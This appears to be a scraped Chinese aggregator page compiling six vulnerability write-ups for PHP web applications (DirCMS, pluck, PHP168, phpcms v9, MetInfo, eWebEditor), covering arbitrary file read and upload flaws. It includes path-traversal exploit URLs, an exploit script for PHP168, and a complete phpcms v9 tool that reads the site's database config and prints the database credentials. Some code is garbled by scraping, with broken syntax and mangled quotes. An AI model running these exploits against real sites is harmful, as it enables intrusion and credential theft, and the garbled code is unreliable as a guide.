DirCMS 任意文件读取0day漏洞预警

时间:2022-11-25 20:26:29 作者:张十三 综合材料 收藏本文 下载本文

“张十三”通过精心收集,向本站投稿了6篇DirCMS 任意文件读取0day漏洞预警,这里给大家分享一些DirCMS 任意文件读取0day漏洞预警,供大家参考。

篇1:DirCMS 任意文件读取0day漏洞预警

感觉时间真的过得真的很快,电脑一开一关一天就没了,不能这样下去,所以我打算抽出点时间来写博客和学习,记录一下自己的成长。

不管是程序员、还是安全工程师,读别人的代码无疑都是进步较快的方式,所以我觉得从今天起抽出时间来把站长网上的开源cms都看一遍,学习学习。

看到一套DirCms就把他下回来了,名字还蛮特别的(ps:小心我dir溢出你)。

貌似黑帽子们审计代码都是查找关键字和跟踪关键位置,自己定义好一个存在风险的函数和变量名列表。我又不是黑阔,所以我喜欢根据程序的架构一个一个文件慢慢看,随便学习下开发者的技巧。

当我看到/api/upload/swfthumbnail.php这个文件的时候,彻底无语了,只有短短的几十行代码。

如下:

// This script. accepts an ID and looks in the user's session for stored thumbnail name.

// It then streams the data to the browser from the file

// Work around the Flash Player Cookie Bug

if(isset($_POST[“PHPSESSID”])){//这个判断不会影响程序向下执行,不用管他

session_id($_POST[“PHPSESSID”]);

}

session_start;

//关键位置,我想说这个正则有啥用? boss可以扣除这个程序员的资金了。

$image_id=isset($_GET[“id”])?preg_replace('/[^a-z0-9:./-]/i','',$_GET[“id”]):false;

//由于上面的正则问题,所以 $image_id 就算是恶意构造也是为真的

if($image_id===false)

{

header(“HTTP/1.1 500 Internal Server Error”);

echo“No ID”;

exit(0);

}

//只要id的值不以 开头,而且文件存在就可以不进入里面了,

由于是读本地文件,当然不用开头,保证文件的存在可以用相对路径../../

if(substr($image_id,0,7)!=''&&!file_exists(“../../upload/image/”.$image_id))

{

header(“HTTP/1.1 404 Not found”);

exit(0);

}

//上面都通过了,这个当然没问题

if(substr($image_id,0,7)!='')

{

header(“Content-type: image/jpeg”);

header(“Content-length: ”.filesize(“../../upload/image/”.$image_id));

flush();

readfile(“../../upload/image/”.$image_id);//输出文件

}

else

{

header('location:'.$image_id);

}

exit(0);

?>

测试版本为最新版:DirCMS Sp3

Exp:view-source:/api/upload/swfthumbnail.php?id=../../include/common.inc.php

已通知官方,请勿非法测试,产生后果与本人无关。

篇2:pluck 4.6 读取任意文件漏洞!漏洞预警

by:xhming

data/modules/albums/pages_admin/albums_getimage.php

....................................

$image = $_GET['image'];

if (!ereg(“thumb”, $image)) {

if (preg_match(“#([.*])([/])([A-Za-z0-9.]{0,11})#”, $image, $matches)) {

if ($image != $matches[0]) {

unset($image);

die(“A hacking attempt has been detected. For security reasons, we're blocking any code execution.”);

}

}

}

elseif (ereg(“thumb”, $image)) {

if (preg_match(“#([.*])([/])thumb([/])([A-Za-z0-9.]{0,11})#”, $image, $matches)) {                            //正则匹配有问题!!!

if ($image != $matches[0]) {

unset($image);

die(“A hacking attempt has been detected. For security reasons, we're blocking any code execution.”);

}

}

}

if (file_exists(“../../../../data/settings/modules/albums/$image”)) {

//generate the image, make sure it doesn't end up in the visitors buffer

header(“Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0”);

header(“Expires: Thu, 19 Nov 1981 08:52:00 GMT”);

header(“Pragma: no-cache”);

header(“Content-Type: image/jpeg”);

echo readfile(“../../../../data/settings/modules/albums/$image”);                                  //触发漏洞

很明显if (preg_match(“#([.*])([/])thumb([/])([A-Za-z0-9.]{0,11})#”, $image, $matches))这个正则试有问题,只要我们$image变量有thumb字符就可以绕过它的检测!

本地测试如图:

篇3:Php168 读取任意文件漏洞

地址:hi.baidu.com/saiy_hi/

哦,忘记说了,程序官方URL:www.php168.com/#

代码:..job.php Line:117

if( eregi(“.php”,$url) ){

die(“ERR”);

}

$fileurl=str_replace($webdb[www_url],“”,$url);

if(is_file(PHP168_PATH.“$fileurl”)&&filesize(PHP168_PATH.“$fileurl”)<1024*1024*500){

$filename=basename($fileurl);

$filetype=substr(strrchr($filename,'.'),1);

$_filename=preg_replace(“/([d]+)_(200[d]+)_([^_]+).([^.]+)/is”,“3”,$filename);

if(eregi(“^([a-z0-9=]+)$”,$_filename)&&!eregi(“(jpg|gif|png)$”,$filename)){

$filename=urldecode(base64_decode($_filename)).“.$filetype”;

}

ob_end_clean;

header('Last-Modified: '.gmdate('D, d M Y H:i:s',time()).' GMT');

header('Pragma: no-cache');

header('Content-Encoding: none');

header('Content-Disposition: attachment; filename='.$filename);

header('Content-type: '.$filetype);

header('Content-Length: '.filesize(PHP168_PATH.“$fileurl”));

readfile(PHP168_PATH.“$fileurl”);

}else{

$fileurl=strstr($url,“://”)?$url:tempdir($fileurl);

header(“location:$fileurl”);

}

在这段代码里,有判断url里是否包含.php,但是在接下来,这里有个替换

$fileurl=str_replace($webdb[www_url],“”,$url);

.p$webdb[www_url]hp被替换后就是.php,但是可以顺利通过前面的是否存在.php的判断,

我没有安装这个代码,但是搜索了一下代码,$webdb[www_url]应该是Web的URL地址。

结论是:可以读取任意文件。

我写了一个Exp来读取文件,但是由于没有安装php168,所以如果有人愿意测试就安了~

由于以前写的EXP太不人性化了,现在连输入变量的方式都改变了~~~

php php168.php运行就好了

PHP代码

make_input('file_path','先生,你想读个啥文件呢?');   $query = str_replace('php','ph'.$url.'p',$file_path);   $hack_url = $url.'job.php?url='.base64_encode($query);   $result = file_get_contents($hack_url);   echo $result;   die;   function make_input($name,$msg=“请输入{name}的值”,0='text'){       global $$name;       while(1){               $msg = str_replace('{name}',$name,$msg);               $_input = trim(fgets(STDIN));                   if(0=='int'){                           $$name = $_input;                       }                       $$name = $_input;                   }           }else{           }   }

篇4:phpcms v9 任意文件读取漏洞exp漏洞预警

/**

* PHPcms V9 任意文件读取漏洞检测工具

* @author Return Blog: www.creturn.com

* Email: master@creturn.com

*

* 注意本程序仅供学习参考,不得用于非法互动

* 否则后果自负,与本人无关!

*/

function showInfo() {

print '

***********************************************

* PHPcmsV9 Read All File ExpTool By: Return

*

* Blog: www.creturn.com

*

* Email:master@creturn.com

*

* Example: php exp.php wwww.phpcms.cn

***********************************************

';

}

$exp = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php';

//file_get_contents(''.$exp);

if(count($argv) < 2){

showInfo();

}else{

$exp = ''.$argv[1].$exp;

$data = @file_get_contents($exp);

@file_put_contents('expDatabase.php', $data);

if(strstr($data,'')){

showInfo();

echo 'Not found !';

exit();

};

$database = include 'expDatabase.php';

showInfo();

$out = 'HostName: '.$database['default']['hostname'].“n”;

$out .='DataBase:'. $database['default']['database'].“n”;

$out .='UserName:'. $database['default']['username'].“n”;

$out .='Password:'. $database['default']['password'].“n”;

if(!empty($database)){

echo “Found it! :nn”;

echo $out;

}

@unlink('expDatabase.php');

}

篇5:MetInfov5.1.3 任意文件上传漏洞漏洞预警

MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞....

ps:欢迎各种形式,首发t00ls.net

注:请勿利用本文内容从事一切非法活动,否则后果自负

author:my5t3ry

废话不多说,看代码:

includecommon.inc.php20-39$db_settings=parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);require_once ROOTPATH.'include/mysql_class.php';$db=newdbmysql;$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc());isset($_REQUEST['GLOBALS'])&&exit('Access Error');require_once ROOTPATH.'include/global.func.php';foreach(array('_COOKIE','_POST','_GET')as$_request){foreach($$_requestas$_key=>$_value){$_key{0}!='_'&&$$_key=daddslashes($_value);}}$query=“select * from {$tablepre}config where name='met_tablename' and lang='metinfo'”;$mettable=$db->get_one($query);$mettables=explode('|',$mettable[value]);foreach($mettablesas$key=>$val){$tablename='met_'.$val;$$tablename=$tablepre.$val;}

metinfo系统通过查询数据库的{$tablepre}config表,并将获取的结果通过foreach循环初始化表名变量,其中的

是通过代码

$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php'); @extract($db_settings);

来初始化的,然后在系统中使用这样“SELECT * FROM $met_message where id=$id and lang='$lang'”的SQL查询数据库,

其中的$met_message变量就是前面foreach循环初始化的变量……

我们可以覆盖$tablepre变量使表名初始化失败,进而提交表名变量.....

我找了个后台的上传页面,通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表,构造上传漏洞,

MetInfov5.1.3 任意文件上传漏洞漏洞预警

exp:任意文件上传

任意文件上传

篇6:ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警

eWebeditoR3.8 for php任意文件上EXP

URL:

0|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|w

av|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif

|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0

|||0|||||||||1|||0|||Office|||1|||zh- cn|||0|||500|||300|||0|||…|||FF00

00|||12|||宋 体||||||0|||jpg|jpeg|||300|||FFFFFF|||1″>

file:

ewebeditor(PHP) Ver 3.8 任意文件上传0day漏洞预警

EasyTalk 微博本地文件包含漏洞漏洞预警

Nginx %00空字节执行任意代码(php)漏洞漏洞预警

漏洞Sun Solaris AT 指令可删除任意系统文件

FFFtp目录遍历漏洞可向任意位置写文件

phpWebThings = 1.5.2 MD5 Hash恢复/文件公开远程漏洞漏洞预警

Shopv8 商城系统 v12.07 Cookies 注入漏洞漏洞预警

micecms一个鸡肋漏洞及修复 附EXP漏洞预警

永久网络个人音乐盒LajoxBox v1.1上传漏洞利用漏洞预警

PDF格式怎么打开 如何读取PDF格式的文件电脑新手办公/数码

DirCMS 任意文件读取0day漏洞预警(精选6篇)

欢迎下载DOC格式的DirCMS 任意文件读取0day漏洞预警,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档